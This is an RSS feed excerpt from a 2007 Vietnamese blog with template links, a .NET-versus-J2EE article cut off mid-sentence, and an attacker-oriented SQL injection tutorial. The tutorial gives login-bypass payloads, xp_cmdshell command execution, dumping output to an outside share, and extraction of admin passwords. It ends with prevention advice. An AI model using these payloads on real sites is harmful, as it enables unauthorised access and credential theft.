text-align: center; cursor: pointer;" src="http://photos1.blogger.com/blogger/2931/623/400/harrytemp.jpg" alt="" id="BLOGGER_PHOTO_ID_5037964012748366930" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: center;"&gt;&lt;a class="comment-link" href="https://www.sharemation.com/xtasy010/Harry%20Potter.zip" target="_blank"&gt;Get Template&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Jacksonville&lt;/span&gt;&lt;br /&gt;&lt;p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="hhttp://photos1.blogger.com/blogger/2931/623/400/jack.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://photos1.blogger.com/blogger/2931/623/400/jack.jpg" alt="" id="BLOGGER_PHOTO_ID_5037964012748366930" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;div style="text-align: center;"&gt;&lt;a href="https://www.sharemation.com/xtasy010/Jacksonville.zip"&gt;Get Template&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Source URL:&lt;/span&gt;&lt;br /&gt;http://blogger-templates.blogspot.com/&lt;br /&gt;http://www.ehsany.com/&lt;br /&gt;http://www.finalsense.com/&lt;br /&gt;http://blogspottemplates.blogspot.com/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-7580927362489567176?l=danglvh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WelcomeToDanglvhsBlog/~4/7KsD1LeC4Cw" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/WelcomeToDanglvhsBlog/~3/7KsD1LeC4Cw/free-templates-for-bloggers.html</link><author>noreply@blogger.com (DangLVH)</author><media:thumbnail url="http://bp1.blogger.com/_AOJK6bFFsUI/RkN4lRDzO_I/AAAAAAAAA_8/0igfv_AcDHw/s72-c/ratatouille.jpg" height="72" width="72" /><enclosure url="http://btemplates.googlepages.com/ratatouille.xml" length="9843" type="application/octet-stream" /><media:content url="http://btemplates.googlepages.com/ratatouille.xml" fileSize="9843" type="application/octet-stream" /><itunes:explicit>no</itunes:explicit><itunes:subtitle>Ratatouille Download Template Shrek the Third » Download XML « At World's End, Pirates of the Caribbean 3 template » Download XML « Colibri » Download XML « New Blogger Template 3 Column : Nyoba 780 Download Template New Blogger Template 3 Column : Nyoba </itunes:subtitle><itunes:author>noreply@blogger.com (DangLVH)</itunes:author><itunes:summary>Ratatouille Download Template Shrek the Third » Download XML « At World's End, Pirates of the Caribbean 3 template » Download XML « Colibri » Download XML « New Blogger Template 3 Column : Nyoba 780 Download Template New Blogger Template 3 Column : Nyoba Download Template Harry Potter Get Template Jacksonville Get Template Source URL: http://blogger-templates.blogspot.com/ http://www.ehsany.com/ http://www.finalsense.com/ http://blogspottemplates.blogspot.com/</itunes:summary><itunes:keywords>Template For Blogger</itunes:keywords><feedburner:origLink>http://danglvh.blogspot.com/2007/10/free-templates-for-bloggers.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4623594449992858463.post-6808625891453037502</guid><pubDate>Tue, 02 Oct 2007 14:33:00 +0000</pubDate><atom:updated>2007-10-02T21:33:04.616+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Network Tips</category><title>Tìm hiểu về SQL Injection</title><description>&lt;span style="font-weight:bold;"&gt;Mục lục:&lt;/span&gt;&lt;br /&gt;1. SQL Injection là gì?&lt;br /&gt;2. Tìm kiếm mục tiêu&lt;br /&gt;3. Kiểm tra chỗ yếu của trang web&lt;br /&gt;4. Tại sao ' or 1=1-- có thể bypass login?&lt;br /&gt;5. Thi hành lệnh từ xa bằng SQL Injection&lt;br /&gt;6. Nhận output của SQL query&lt;br /&gt;7. Nhận data qua 'database using ODBC error message'&lt;br /&gt;8. Xác định tên của các column trong table&lt;br /&gt;9. Thu thập các dữ liệu quan trọng&lt;br /&gt;10. Nhận các numeric string&lt;br /&gt;11. Update/insert data vào CSDL&lt;br /&gt;12. Ngăn chặn SQL Injection&lt;br /&gt;13. Tài liệu thao khảo&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;1) SQL Injection là gì?&lt;/span&gt;&lt;br /&gt;SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, ...&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;2) Tìm kiếm mục tiêu&lt;/span&gt;&lt;br /&gt;Bạn có thể search các trang web cho phép submit data ở bất kì một search-engine nào trên mạng, chẳng hạn như các trang login, search, feedback, ...&lt;br /&gt;http://vịtcon/index.asp?id=10&lt;br /&gt;Một số trang web chuyển tham số qua các field ẩn, bạn phải xem mã HTML mới thấy rõ.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;3) Kiểm tra chỗ yếu của trang web&lt;/span&gt;&lt;br /&gt;Thử submit các field username, password hoặc field id, .. bằng hi' or 1=1--&lt;br /&gt;- Login: hi' or 1=1--&lt;br /&gt;- Pass: hi' or 1=1--&lt;br /&gt;- http://vịtcon/index.asp?id=hi' or 1=1--&lt;br /&gt;Nếu site chuyển tham số qua field ẩn, bạn hãy download source HTML, lưu trên đĩa cứng và thay đổi lại URL cho phù hợp. &lt;br /&gt;&lt;br /&gt;Nếu thành công, bạn có thể login vào mà không cần phải biết username và password&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;4) Tại sao ' or 1=1-- có thể bypass login?&lt;/span&gt;&lt;br /&gt;Giả sử như có một trang asp link đến một asp trang khác với URL như sau:&lt;br /&gt;http://vịtcon/index.asp?category=food&lt;br /&gt;Trong URL trên, biến 'category' được gán giá trị là 'food'. Mã asp của trang này có thể như sau (đây chỉ là ví dụ thôi):&lt;br /&gt;v_cat = request("category")&lt;br /&gt;sqlstr="SELECT * FROM product WHERE PCategory='" &amp; v_cat &amp; "'"&lt;br /&gt;set rs=conn.execute(sqlstr)&lt;br /&gt;v_cat sẽ chứa giá trị của biến request.category, 'food' và câu lệnh SQL tiếp theo sẽ là:&lt;br /&gt;SELECT * FROM product WHERE PCategory='food'&lt;br /&gt;Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory='food'&lt;br /&gt;Nếu bạn thay đổi URL trên thành http://vịtcon/index.asp?category=food' or 1=1-- , biến v_cat sẽ chứa giá trị "food' or 1=1-- " và dòng lệnh SQL query sẽ là:&lt;br /&gt;SELECT * FROM product WHERE PCategory='food' or 1=1--'&lt;br /&gt;Dòng query trên sẽ select mọi thứ trong table product bất chấp PCategory có bằng 'food' hay không. Hai dấu gạch ngang "--" chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau "--" sẽ bị bỏ qua. Đối với MySQL, bạn hãy thay "--" thành "#"&lt;br /&gt;Bạn cũng có thể thử cách khác bằng cách submit ' or 'a'='a. Dòng SQL query bây giờ sẽ là:&lt;br /&gt;SELECT * FROM product WHERE PCategory='food' or 'a'='a'&lt;br /&gt;Một số data khác mà bạn cũng nên submit để biết xem trang web có gặp lỗi hay không:&lt;br /&gt;' or 1=1--&lt;br /&gt;" or 1=1--&lt;br /&gt;or 1=1--&lt;br /&gt;' or 'a'='a&lt;br /&gt;" or "a"="a&lt;br /&gt;') or ('a'='a&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;5) Thi hành lệnh từ xa bằng SQL Injection&lt;/span&gt;&lt;br /&gt;Nếu cài đặt với chế độ default, MS SQL Server sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator trên Windows. Bạn có thể dùng master..xp_cmdshell để thi hành lệnh từ xa:&lt;br /&gt;'; exec master..xp_cmdshell 'ping 10.10.1.2'--&lt;br /&gt;Hãy thử dùng dấu nháy đôi (") nếu dấu nháy đơn (') không làm việc.&lt;br /&gt;Dấu chấm phẩy (;) sẽ kết thúc dòng SQL query hiện tại và cho phép bạn thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, bạn có thể listen các ICMP packet from 10.10.1.2 bằng tcpdump như sau:&lt;br /&gt;#tcpdump icmp&lt;br /&gt;Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;6) Nhận output của SQL query&lt;/span&gt;&lt;br /&gt;Bạn có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML&lt;br /&gt;'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"&lt;br /&gt;folder "share" phải được share cho Everyone trước.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;7) Nhận data qua 'database using ODBC error message'&lt;/span&gt;&lt;br /&gt;Các error message của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên http://vịtcon/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer '10' với một string khác lấy từ CSDL:&lt;br /&gt;http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--&lt;br /&gt;System table INFORMATION_SCHEMA.TABLES chứa thông tin về tất cả các table có trên server. Field TABLE_NAME chứa tên của mỗi table trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại. Query của chúng ta là:&lt;br /&gt;SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-&lt;br /&gt;Dòng query này sẽ trả về tên của table đầu tiên trong CSDL&lt;br /&gt;Khi chúng ta UNION string này với số integer 10, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:&lt;br /&gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.&lt;br /&gt;/index.asp, line 5&lt;br /&gt;Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được, "table1". Đây cũng chính là tên của table đầu tiên trong CSDL mà chúng ta đang muốn có.&lt;br /&gt;Để lấy tên của tên của table tiếp theo, bạn có thể dùng query sau:&lt;br /&gt;http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--&lt;br /&gt;Bạn cũng có thể search data bằng từ khóa LIKE:&lt;br /&gt;http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--&lt;br /&gt;Output:&lt;br /&gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.&lt;br /&gt;/index.asp, line 5&lt;br /&gt;Mẫu so sánh '%25login%25' sẽ tương đương với %login% trong SQL Server. Như bạn thấy trong error message trên, chúng ta có thể xác định được tên của một table quan trọng là "admin_login".&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;8) Xác định tên của các column trong table&lt;/span&gt;&lt;br /&gt;Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Bạn có thể khai thác như sau:&lt;br /&gt;http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--&lt;br /&gt;Output:&lt;br /&gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.&lt;br /&gt;/index.asp, line 5&lt;br /&gt;Như vậy tên của column đầu tiên là "login_id". Để lấy tên của các column tiếp theo, bạn có thể dùng mệnh đề logic NOT IN () như sau:&lt;br /&gt;http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--&lt;br /&gt;Output:&lt;br /&gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.&lt;br /&gt;/index.asp, line 5&lt;br /&gt;Làm tương tự như trên, bạn có thể lấy được tên của các column còn lại như "password", "details". Bạn lấy tên của các column này qua error message error sau:&lt;br /&gt;http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--&lt;br /&gt;Output:&lt;br /&gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e14'&lt;br /&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.&lt;br /&gt;/index.asp, line 5&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;9) Thu thập các dữ liệu quan trọng&lt;/span&gt;&lt;br /&gt;Chúng ta đã xác định được các tên của các table và column quan trọng. Chúng ta sẽ thu thập các thông tin quan trọng từ các table và column này.&lt;br /&gt;Bạn có thể lấy login_name đầu tiên trong table "admin_login" như sau:&lt;br /&gt;http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--&lt;br /&gt;Output:&lt;br /&gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.&lt;br /&gt;/index.asp, line 5&lt;br /&gt;Bạn dễ dàng nhận ra được admin user đầu tiên có login_name là "neo". Hãy thử lấy password của "neo" như sau:&lt;br /&gt;http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--&lt;br /&gt;Output:&lt;br /&gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.&lt;br /&gt;/index.asp, line 5&lt;br /&gt;Bây giờ bạn có thể login vào với username là "neo" và password là "m4trix".&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;10) Nhận các numeric string&lt;/span&gt;&lt;br /&gt;Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận được các error message nếu server có thể chuyển text đúng ở dạng số (text chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của "trinity" là "31173".&lt;br /&gt;http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--&lt;br /&gt;Bạn chỉ nhận được thông báo lỗi "Page Not Found". Lí do bởi vì server có thể chuyển passoword "31173" sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:&lt;br /&gt;http://vịtcon/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--&lt;br /&gt;Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASSCII code của '+' là 0x2b). Chúng ta thêm chuỗi '(space)morpheus' vào cuối password để tạo ra một string mới không phải numeric string là '31173 morpheus'. Khi hàm convert() được gọi để chuyển '31173 morpheus' sang integer, SQL server sẽ phát lỗi ODBC error message sau:&lt;br /&gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.&lt;br /&gt;/index.asp, line 5&lt;br /&gt;Bây giờ bạn cũng có thể login vào với username 'trinity' và password là '31173'&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;11) Update/insert data vào CSDL&lt;/span&gt;&lt;br /&gt;Khi bạn đã có tên của tất cả các column trong table, bạn có thể UPDATE hoặc INSERT một record mới vào table này.&lt;br /&gt;Để thay đổi password của "neo", bạn có thể làm như sau:&lt;br /&gt;http://vịtcon/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--&lt;br /&gt;Hoặc nếu bạn muốn chèn một record mới vào table:&lt;br /&gt;http://vịtcon/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--&lt;br /&gt;Bây giờ bạn có thể login vào với username "neo2" và password là "newpas5"&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;12) Ngăn chặn SQL Injection&lt;/span&gt;&lt;br /&gt;Hãy loại bỏ các kí tự meta như '"/\; và các kí tự extend như NULL, CR, LF, ... trong các string nhận được từ:&lt;br /&gt;- input do người dùng đệ trình&lt;br /&gt;- các tham số từ URL&lt;br /&gt;- các giá trị từ cookie&lt;br /&gt;Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.&lt;br /&gt;Thay đổi "Startup and run SQL Server" dùng mức low privilege user trong tab SQL Server Security.&lt;br /&gt;Xóa các stored procedure mà bạn không dùng như:&lt;br /&gt;master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;13) Tài liệu thao khảo&lt;/span&gt;&lt;br /&gt;- How I hacked PacketStorm (Rain Forest Puppy) http://www.wiretrip.net/rfp/p/doc.asp?id=42&amp;iface=6&lt;br /&gt;- Great article on gathering information from ODBC error messages http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc&lt;br /&gt;- A good summary of SQL Injection on various SQL Server on http://www.owasp.org/asac/input_validation/sql.shtml&lt;br /&gt;- Senseport's article on reading SQL Injection http://www.sensepost.com/misc/SQLinsertion.htm&lt;br /&gt;- Khác: http://www.digitaloffense.net/wargames01/IOWargames.ppt, http://www.wiretrip.net/rfp/p/doc.asp?id=7&amp;iface=6, http://www.wiretrip.net/rfp/p/doc.asp?id=60&amp;iface=6, http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf&lt;br /&gt;&lt;br /&gt;* Bài viết này được dịch và sửa đổi từ bài viết "SQL Injection Walkthrough" của xfocus.net.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4623594449992858463-6808625891453037502?l=danglvh.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/WelcomeToDanglvhsBlog/~4/Jbp-J05tdww" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/WelcomeToDanglvhsBlog/~3/Jbp-J05tdww/tm-hiu-v-sql-injection.html</link><author>noreply@blogger.com (DangLVH)</author><feedburner:origLink>http://danglvh.blogspot.com/2007/10/tm-hiu-v-sql-injection.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4623594449992858463.post-7789962382819614937</guid><pubDate>Tue, 02 Oct 2007 14:26:00 +0000</pubDate><atom:updated>2007-10-02T21:26:14.722+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Software Engineer</category><title>Kiến trúc .NET trong mô hình ứng dụng thương mại điện tử</title><description>Trong bài viết trước, chúng ta đã tìm hiểu kiến trúc J2EE và mô hình áp dụng của nó trong ứng dụng thương mại điện tử. Bài viết này sẽ trình bày một kiến trúc khác được xem là đối thủ cạnh tranh của J2EE - kiến trúc .NET. Bài viết cũng sẽ tổng kết những điểm tương đồng và khác biệt giữa kiến trúc .NET và kiến trúc J2EE.&lt;br /&gt;&lt;br /&gt;Trong bài viết trước, chúng ta đã tìm hiểu kiến trúc J2EE và mô hình áp dụng của nó trong ứng dụng thương mại điện tử. Bài viết này sẽ trình bày một kiến trúc khác được xem là đối thủ cạnh tranh của J2EE - kiến trúc .NET. Bài viết cũng sẽ tổng kết những điểm tương đồng và khác biệt giữa kiến trúc .NET và kiến trúc J2EE.&lt;br /&gt;&lt;br /&gt;1. Tổng quan về kiến trúc .NET&lt;br /&gt;&lt;br /&gt;Như đã đề cập, J2EE không phải là một sản phẩm cụ thể mà chỉ là các đặc tả đưa ra bởi hãng Sun. Ngược lại, .NET là tập hợp các đặc tả, công nghệ, sản phẩm do Microsoft phát triển phục vụ cho việc phát triển các ứng dụng trên môi trường Internet, thương mại điện tử. Kiến trúc .NET bao gồm các thành phần chính sau:&lt;br /&gt;&lt;span id="fullpost"&gt;&lt;br /&gt;Hạ tầng và các công cụ phát triển của .NET&lt;br /&gt;&lt;br /&gt;Nền tảng và các công cụ phát triển ứng dụng của .NET bao gồm&lt;br /&gt;&lt;br /&gt;- Visual Studio .NET: bộ công cụ phát triển ứng dụng. Bạn có thể sử dụng các công cụ phát triển quen thuộc như Visual Basic, Visual C++ hoặc các công cụ lập trình mới như Visual C#. Các ngôn ngữ lập trình khác cũng được hỗ trợ dựa trên sự hợp tác với các hang thứ ba: COBOL từ Fujitsu, Eiffel từ Interactive Software Engineering, ? Điểm mạnh của kiến trúc .NET là hỗ trợ phát triển đa ngôn ngữ (multi language). Các chương trình viết bởi các ngôn ngữ khác nhau sẽ được chuyển đổi sang một ngôn ngữ trung gian thống nhất (Intermediary Language - IL). Các file IL này được đóng gói (packaging) thành các đơn thể phân phối, sau đó được biên dịch bởi bộ biên dịch tức thời (Just in time IL compiler) và thực thi trong môi trường có tên gọi môi trường thực thi chung (Common Language Runtime - CLR).&lt;br /&gt;&lt;br /&gt;- ASP.NET: là một thiết kế mới cho việc lập tình ở lớp hiển thị (presentation tier). ASP .NET được thiết kế nhằm đơn giản hoá việc lập trình trước thực trạng gia tǎng của các hệ thống máy khách (client) và các thiết bị đầu cuốI (device). Người lập trình không phải quan tâm nhiều đến việc phát triển giao diện cho nhiều loại máy khách thay vào đó họ chỉ phát triển một giao diện duy nhất ở mức hiển thị (trên cơ sở các đối tượng điều khiên GUI của ASP .NET), phần còn lại sẽ được điều phối và thực hiện bởi ASP .NET và môi trường thực thi chung CLR trên mỗi thiết bị, máy khách.&lt;br /&gt;&lt;br /&gt;- ADO.NET: trong mô hình kiến trúc .NET, lớp cơ sở dữ liệu (database tier) được mặc định là SQL Server. Tuy nhiên, để đảm bảo tính mở, ADO.NET được đưa ra như là giao diện giữa lớp xử lý nghiệp vụ (business tier) và lớp cơ sở dữ liệu. ADO.NET giữ vai trò tương tự như JDBC trong mô hình kiến trúc J2EE. Với giao diện này, các ưng dụng .NET có thể truy nhập đến các cơ sở dữ liệu khác như Oracle, DB2, ?&lt;br /&gt;&lt;br /&gt;- .NET Enterprise Server: tập hợp các sản phẩm dành cho máy chủ như: SQL Server, Application Server Center, Internet Security Acceleration Server (ISA Server), BizTalk Server, và Commerce Server.&lt;br /&gt;&lt;br /&gt;- .NET Framework: đây là phần cốt lõi của kiến trúc .NET hoạt động gắn chặt với hệ điều hành. Nó cung cấp môi trường để thực thi các ứng dụng .NET. Bạn có thể hình dung .NET Framework tương tự như mô hình máy ảo Java (Java Virtual Machine - JVM và Java Runtime Environment - JRE) trong kiến trúc J2EE. Các thành phần cơ bản của .NET Framework bao gồm:&lt;br /&gt;&lt;br /&gt;* Môi trường thực thi chung cho các mã chương trình .NET: CLR.&lt;br /&gt;* Bộ biên dịch tức thời: Just in time IL compiler.&lt;br /&gt;* Các thư viện chuẩn của hệ điều hành: Base Classes.&lt;br /&gt;* Các giao diện đối tượng thành phần COM+.&lt;br /&gt;&lt;br /&gt;Các dịch vụ cộng thêm của .NET&lt;br /&gt;&lt;br /&gt;Bao gồm các dịch vụ chia sẻ thông tin dùng chung cho các ứng dụng trong môi trường Internet:&lt;br /&gt;&lt;br /&gt;- .NET Passsport: có thể sử dụng cho việc xác thực người dùng (user authentication).&lt;br /&gt;- Các dịch vụ lưu trữ, quản lý file.&lt;br /&gt;- Dịch vụ quản lý thông tin người dùng.&lt;br /&gt;- Dịch vụ quản lý lịch làm việc (Calendar service).&lt;br /&gt;&lt;br /&gt;Các dịch vụ này có thể được cung cấp bởi Microsoft hoặc các đối tác của Microsoft.&lt;br /&gt;&lt;br /&gt;Ư'ng dụng của kiến trúc .NET trong mô hình thương mại điện tử&lt;br /&gt;&lt;br /&gt;2. So sánh hai kiến trúc .NET và J2EE&lt;br /&gt;&lt;br /&gt;2.1. Những điểm tương đồng giữa hai kiến trúc .NET và J2EE&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;(ko có hình)&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;2.2. Sự khác biệt giữa hai kiến trúc&lt;br /&gt;&lt;br /&gt;Khả nǎng hỗ trợ framework&lt;br /&gt;&lt;br /&gt;Điều quan tâm đầu tiên khi xây dựng một ứng dụng thương mại điện tử đó là lựa chọn mô hình phát triển (framework). Nó quyết định tới sự thành công của ứng dụng đặc biệt là đối với các ứng dụng có quy mô lớn. Một mô hình phát triển tốt có thể giảm thời gian, chi phí xây dựng ứng dụng ít nhất là 10 lần so với việc sử dụng chắp vá các công cụ khác nhau.&lt;br /&gt;&lt;br /&gt;Trong kiến trúc .NET mô hình phát triển này dựa trên thành phần có tên gọi Commerce Server. Với kiến trúc J2EE, bạn phải lựa chọn, kết nối các thành phần khác nhau để hình thành nên mô hình phát triển ứng dụng. Bản thân Sun không đưa ra mô hình phát triển ở dạng đóng gói nhưng có khá nhiểu sản phẩm từ các hãng thứ ba như: IBM WebSphere, và BEA WebLogic, ?&lt;br /&gt;&lt;br /&gt;Ngôn ngữ&lt;br /&gt;&lt;br /&gt;J2EE chỉ hỗ trợ ngôn ngữ lập trình Java và trong tương lai có lẽ cũng không có ngôn ngữ lập trình nào được hỗ trợ thêm bởi kiến trúc này. Trong khi đó .NET của Microsoft lại tiếp cận theo hướng hỗ trợ đa ngôn ngữ. Một nhóm phát triển ứng dụng .NET có thể sử dụng nhiều ngôn ngữ lập trình khác nhau tuỳ thuộc thế mạnh của từng cá nhân. Tuy nhiên, J2EE có đưa ra 2 cách tiếp cận để cho phép phát triển ứng dụng bởi nhiều ngôn ngữ lập trình khác nhau. Một là thông qua Java Native Interface, hai là tiếp cận sử dụng công nghệ CORBA.&lt;br /&gt;&lt;br /&gt;Sự lựa chọn ngôn ngữ lập trình không phải là yếu tố quyết định sự lựa chọn của bạn giữa kiến trúc J2EE hay .NET. Tất nhiên, nếu bạn muốn sử dụng một hoặc nhiều ngôn ngữ lập trình trong một dự án thì J2EE rõ ràng không phải là sự lựa chọn của bạn. Kiến trúc .NET có hỗ trợ một ngôn ngữ lập trình C# (đọc là C sharp). Đây là ngôn ngữ có cú pháp và phong cách lập trình gần giống với Java. Người lập trình Java có thể chuyển sang lập trình với C# chỉ trong vài giờ.&lt;br /&gt;&lt;br /&gt;Nếu bạn lựa chọn Java không phải bởi vấn đề ngôn ngữ mà bởi đặc tính khả chuyển thì J2EE là lựa chọn tốt hơn so với .NET. Chúng ta sẽ bàn thêm về tính khả chuyển trong phần dưới.&lt;br /&gt;&lt;br /&gt;Tính khả chuyển&lt;br /&gt;&lt;br /&gt;Tính khả chuyển là một đặc tính nổi bật của J2EE và ngôn ngữ lập trình Java. Một chương trình viết bởi Java được thực thi trên máy ảo Java (Java Virtual Machine) thay vì trực tiếp trên hệ điều hành cụ thể. Do đó mã chương trình có thể chuyển từ một hệ điều hành này sang một hệ điều hành khác (có hỗ trợ JVM) để thực thi một cách dễ dàng. Tính khả chuyển về hệ điều hành này của J2EE có được là do phần lớn các sản phẩm J2EE đều hỗ trợ cho nhiều hệ điều hành. Trong khi đó .NET chỉ bó buộc trong hệ điều hành Windows. Do vậy ứng dụng .NET gặp khó khǎn khi phân phối trên mạng.&lt;br /&gt;&lt;br /&gt;Kết luận&lt;br /&gt;&lt;br /&gt;Chúng ta đã có dịp cùng nhau tìm hiểu mô hình ứng dụng thương mại điện tử thể hiện qua hai kiến trúc điển hình được áp dụng phổ biến hiện nay là J2EE và .NET. Cần phải nhắc lại lần nữa J2EE chỉ là các đặc tả được đưa ra bởi hãng Sun, việc phát triển thành các sản phẩm đóng gói là do các hàng thứ ba đảm nhiệm (ví dụ: BEA WebLogic, IBM WebSphere). Ưu điểm của J2EE là tính khả chuyển: khả chuyển trong khía cạnh hãng phát triển sản phẩm lẫn khả chuyển đối với các hệ điều hành. Nhưng nhược điểm của J2EE là chỉ hỗ trợ một ngôn ngữ lập trình duy nhất đó là Java. Trên thực tế đôi khi sự lựa chọn hay chuyển đổi sang ngôn ngữ Java là không phù hợp đối với một số dạng nghiệp vụ.&lt;br /&gt;&lt;br /&gt;Kiến trúc .NET được đưa ra bởi Microsoft. Việc phát triển thành sản phẩm thương mại cũng do Microsoft tiến hành. Nhược điểm của kiến trúc này là chỉ hỗ trợ cho hệ điều hành Windows (điều mà có lẽ Microsoft cho là tiêu chí phát triển 